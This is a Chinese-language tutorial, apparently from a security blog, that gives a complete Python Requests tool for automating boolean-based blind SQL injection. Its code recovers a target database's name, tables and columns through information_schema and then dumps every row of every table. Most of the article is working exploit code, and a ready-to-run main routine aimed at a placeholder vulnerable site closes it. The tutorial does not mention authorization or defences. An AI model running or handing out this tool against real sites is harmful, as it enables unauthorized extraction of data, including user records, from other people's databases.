SQL 布尔盲注自动化：Python 3.12 + Requests 库实现 5 步信息收集

SQL 布尔盲注自动化：Python 3.12 + Requests 库实现 5 步信息收集

在Web安全测试中，布尔盲注是一种常见的漏洞利用技术。当目标网站对SQL注入漏洞的响应仅能区分"真"或"假"两种状态时，传统的注入手段往往难以奏效。本文将介绍如何使用Python 3.12和Requests库构建一个模块化的布尔盲注自动化工具，通过五个标准步骤完整获取数据库信息。

1. 环境准备与基础配置

布尔盲注自动化脚本的核心在于准确识别页面响应中的真伪特征。我们首先需要配置基础环境：

import requests from urllib.parse import quote class BlindSQLi: def __init__(self, target_url, true_condition): self.target = target_url self.true_condition = true_condition self.session = requests.Session() self.timeout = 5 self.charset = [chr(i) for i in range(32, 127)] # 可打印ASCII字符集

关键参数说明：

基础请求方法实现：

def send_payload(self, payload): """发送注入payload并验证响应""" try: resp = self.session.get( f"{self.target}{quote(payload)}", timeout=self.timeout ) return self.true_condition in resp.text except requests.RequestException as e: print(f"请求失败: {e}") return False

2. 数据库信息获取

2.1 获取数据库名长度

采用二分查找法提高效率：

def get_db_length(self): """获取当前数据库名称长度""" print("[*] 开始探测数据库名长度...") low, high = 1, 64 # 合理长度范围 while low <= high: mid = (low + high) // 2 payload = f"' AND (SELECT LENGTH(database()))={mid}-- " if self.send_payload(payload): print(f"[+] 数据库名长度: {mid}") return mid # 调整搜索范围 test_payload = f"' AND (SELECT LENGTH(database()))>{mid}-- " if self.send_payload(test_payload): low = mid + 1 else: high = mid - 1 raise ValueError("无法确定数据库名长度")

2.2 获取数据库名称

基于字符位置逐个猜解：

def get_db_name(self, length): """获取数据库名称""" db_name = [] print("[*] 开始猜解数据库名...") for pos in range(1, length + 1): low, high = 32, 126 char = None while low <= high: mid = (low + high) // 2 payload = f"' AND ASCII(SUBSTRING(database(),{pos},1))={mid}-- " if self.send_payload(payload): char = chr(mid) break # 调整搜索范围 test_payload = f"' AND ASCII(SUBSTRING(database(),{pos},1))>{mid}-- " if self.send_payload(test_payload): low = mid + 1 else: high = mid - 1 if char: db_name.append(char) print(f"[*] 当前进度: {''.join(db_name)}") else: raise ValueError(f"位置 {pos} 字符猜解失败") return ''.join(db_name)

3. 表结构分析

3.1 获取表数量

def get_table_count(self, db_name): """获取指定数据库中的表数量""" print("[*] 探测表数量...") max_tables = 50 # 最大猜测表数 table_count = 0 for count in range(1, max_tables + 1): payload = f"' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='{db_name}')={count}-- " if self.send_payload(payload): table_count = count break if table_count == 0: raise ValueError("无法确定表数量") print(f"[+] 发现 {table_count} 张表") return table_count

3.2 获取表名及结构

采用多阶段猜解策略：

1. 首先获取每张表的名称长度
2. 然后逐个字符猜解表名

def get_tables(self, db_name, table_count): """获取所有表名""" tables = [] for index in range(table_count): # 获取表名长度 length = self._get_string_length( f"(SELECT table_name FROM information_schema.tables WHERE table_schema='{db_name}' LIMIT {index},1)" ) # 获取完整表名 table_name = self._get_string( f"(SELECT table_name FROM information_schema.tables WHERE table_schema='{db_name}' LIMIT {index},1)", length ) tables.append(table_name) print(f"[+] 发现表: {table_name}") return tables def _get_string_length(self, query): """获取字符串长度""" length = 0 max_len = 100 # 最大猜测长度 for l in range(1, max_len + 1): payload = f"' AND LENGTH({query})={l}-- " if self.send_payload(payload): length = l break if length == 0: raise ValueError("无法确定字符串长度") return length def _get_string(self, query, length): """获取完整字符串""" result = [] for pos in range(1, length + 1): low, high = 32, 126 char = None while low <= high: mid = (low + high) // 2 payload = f"' AND ASCII(SUBSTRING({query},{pos},1))={mid}-- " if self.send_payload(payload): char = chr(mid) break test_payload = f"' AND ASCII(SUBSTRING({query},{pos},1))>{mid}-- " if self.send_payload(test_payload): low = mid + 1 else: high = mid - 1 if char: result.append(char) else: raise ValueError(f"位置 {pos} 字符猜解失败") return ''.join(result)

4. 列信息提取

4.1 获取列数量

def get_column_count(self, table_name): """获取指定表的列数""" print(f"[*] 探测表 {table_name} 的列数...") max_columns = 50 # 最大猜测列数 column_count = 0 for count in range(1, max_columns + 1): payload = f"' AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='{table_name}')={count}-- " if self.send_payload(payload): column_count = count break if column_count == 0: raise ValueError(f"无法确定表 {table_name} 的列数") print(f"[+] 表 {table_name} 包含 {column_count} 列") return column_count

4.2 获取列名

def get_columns(self, table_name, column_count): """获取指定表的所有列名""" columns = [] for index in range(column_count): # 获取列名长度 length = self._get_string_length( f"(SELECT column_name FROM information_schema.columns WHERE table_name='{table_name}' LIMIT {index},1)" ) # 获取完整列名 column_name = self._get_string( f"(SELECT column_name FROM information_schema.columns WHERE table_name='{table_name}' LIMIT {index},1)", length ) columns.append(column_name) print(f"[+] 发现列: {column_name}") return columns

5. 数据提取与导出

5.1 获取数据行数

def get_row_count(self, table_name): """获取指定表的数据行数""" print(f"[*] 探测表 {table_name} 的数据量...") max_rows = 1000 # 最大猜测行数 row_count = 0 for count in range(1, max_rows + 1): payload = f"' AND (SELECT COUNT(*) FROM {table_name})={count}-- " if self.send_payload(payload): row_count = count break if row_count == 0: raise ValueError(f"无法确定表 {table_name} 的数据量") print(f"[+] 表 {table_name} 包含 {row_count} 行数据") return row_count

5.2 完整数据导出

def dump_table(self, table_name, columns): """导出指定表的所有数据""" print(f"[*] 开始导出表 {table_name} 的数据...") row_count = self.get_row_count(table_name) results = [] for row in range(row_count): row_data = {} for column in columns: # 获取字段值长度 length = self._get_string_length( f"(SELECT {column} FROM {table_name} LIMIT {row},1)" ) # 获取完整字段值 value = self._get_string( f"(SELECT {column} FROM {table_name} LIMIT {row},1)", length ) row_data[column] = value results.append(row_data) print(f"[+] 已导出: {row_data}") return results

实战应用与优化建议

在实际测试环境中使用时，建议考虑以下优化点：

1. 并发处理：使用多线程加速猜解过程
2. 缓存机制：避免重复猜解已知信息
3. 错误处理：增强脚本的容错能力
4. 结果存储：将结果保存到文件或数据库

完整调用示例：

if __name__ == "__main__": # 配置目标信息 target = "http://vulnerable-site.com/page.php?id=1" true_condition = "Welcome back" # 初始化注入器 injector = BlindSQLi(target, true_condition) try: # 第一步：获取数据库信息 db_length = injector.get_db_length() db_name = injector.get_db_name(db_length) # 第二步：获取表信息 table_count = injector.get_table_count(db_name) tables = injector.get_tables(db_name, table_count) # 第三步：获取列信息 for table in tables: column_count = injector.get_column_count(table) columns = injector.get_columns(table, column_count) # 第四步：导出数据 data = injector.dump_table(table, columns) print(f"[*] 表 {table} 数据导出完成，共 {len(data)} 条记录") except Exception as e: print(f"[!] 发生错误: {e}")

通过这种模块化设计，脚本可以灵活适应不同的测试场景，同时保持代码的可维护性和可扩展性。每个功能模块都经过独立测试，确保在复杂网络环境下仍能稳定工作。